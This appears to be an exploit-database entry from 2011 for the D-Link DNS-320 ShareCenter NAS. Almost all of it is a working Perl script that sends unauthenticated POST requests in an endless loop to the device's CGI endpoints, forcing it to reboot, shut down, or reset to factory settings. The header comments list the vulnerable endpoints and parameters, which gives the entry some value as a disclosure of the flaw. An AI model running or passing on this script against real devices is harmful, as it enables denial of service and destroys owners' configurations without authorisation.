发布 2011-12-05 漏洞条目

D-Link DNS-320 ShareCenter – Remote Reboot/Shutdown/Reset (Denial of Service)

Exploit Source

#!/usr/bin/perl

# Title: ShareCenter D-Link DNS-320 remote reboot/shutdown/reset (DoS).

# Type: Hardware

# Remote: yes

# Author: rigan - imrigan [sobachka] gmail.com

# Tested on:

# Firmware : DNS320-v2.00b06

# Security flaws:

# dsk_mgr.cgi allows execute reboot via POST request with parameter cmd=FMT_restart.

# system_mgr.cgi allows execute reboot via POST request with parameter cmd=cgi_restart or cmd=cgi_reboot.

# system_mgr.cgi allows execte shutdown via POST request with parameter cmd=cgi_shutdown.

# wizard_mgr.cgi allows to reset the firmware to default settings via POST request with parameter cmd=cgi_wizard.

use LWP::UserAgent;

print "[*] ShareCenter D-Link DNS-320 Remote Dos Exploit\n";

if (@ARGV != 3){ &usage; }

while (@ARGV > 0){

$ip = shift(@ARGV);

$port = shift(@ARGV);

$mode = shift(@ARGV);

}

@cgi = ("dsk_mgr.cgi", "system_mgr.cgi", "wizard_mgr.cgi", "system_mgr.cgi");

@cmd = ("cmd=FMT_restart", "cmd=cgi_restart", "cmd=cgi_wizard", "cmd=cgi_shutdown");

$url = "http://".$ip.":".$port."/cgi-bin/".$cgi[$mode];

print "[*] DoS............................................. \n";

while(1){

my $ua = new LWP::UserAgent;

my $req = HTTP::Request->new(POST=>$url);

$req->content_type('application/x-www-form-urlencoded');

$req->content($cmd[$mode]);

my $res = $ua->request($req);

}

sub usage(){

print "Usage: perl dlink.pl [target ip] [port] [0,1,2,3] \n";

print "================================================= \n";

print "0 - dsk_mgr.cgi cmd=FMT_restart [Reboot] \n";

print "1 - system_mgr.cgi cmd=cgi_restart [Reboot] \n";

print "2 - wizard_mgr.cgi cmd=cgi_wizard [Reset] \n";

print "3 - system_mgr.cgi cmd=shutdown [Shutdown] \n";

exit;

}

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